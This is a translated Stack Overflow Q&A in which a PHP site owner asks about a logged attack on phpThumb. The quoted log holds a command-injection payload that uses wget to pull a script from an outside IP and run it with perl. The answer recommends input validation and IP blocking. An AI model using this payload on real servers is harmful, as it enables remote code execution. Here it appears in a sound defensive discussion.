php - 我写了一个记录所有输入和其他东西的错误记录脚本

标签 php linux security ubuntu

我认为我从攻击者那里得到了错误。他们想做什么以及如何阻止他们?这是日志:

Monday 26th of December 2011 12:10:18 PM
src=file.jpg&fltr[]=blur|
9%20-quality%20%2075%20interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9 
91.121.133.22 
| 39757 
| /var/www/class.php 
| /class/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9

[src = file.jpg] - [fltr = Array] - [phpThumbDebug = 9] -

我已经将这些区域分隔成新的行。大部分是输入,然后是服务器端口、他们的 ip 地址、他们访问的脚本。看起来他们确实在尝试使用漏洞来访问命令行。但这不是他们认为的剧本。

最佳答案

网络服务器一直受到攻击。任何给定的攻击都试图挑出一个特定的程序。 如果你把你的软件写得很好并且验证了你所有的输入,你的系统应该能够容忍这样的垃圾并礼貌地忽略它。 如果一天只发生 3 次,这不像是 DOS 攻击。 如果你想发疯,你可以写一个脚本来扫描日志,如果你看到一个已知的攻击模式,运行一个脚本来阻止 ip 在 N 次点击后到达你的网络服务器。

关于php - 我写了一个记录所有输入和其他东西的错误记录脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8673704/

相关文章:

database - Secure Database For Mac OS Xdevelopment(特别是核心数据)有哪些选项?

php - 当/如果 X 时执行 SQL 查询

php - Laravel 密码提醒 token 总是不匹配

php - 在 PHP 和 MySQL 方面需要帮助

python - 在连续两行中打印字符串匹配之前的行

security - SHA512 和 MD5 散列

windows - 将组 "Everyone"添加到目录及其所有子目录

php - 使用 php 在同一页面中显示输出

linux - 列出其中的所有文件夹和子文件夹,其中文件夹名称以 a* 或 b* 或 c* 开头并带有路径

c++ - 一个 C++ 应用程序无法在 Linux 上的一个线程中打开 2 个 SQLite 数据库?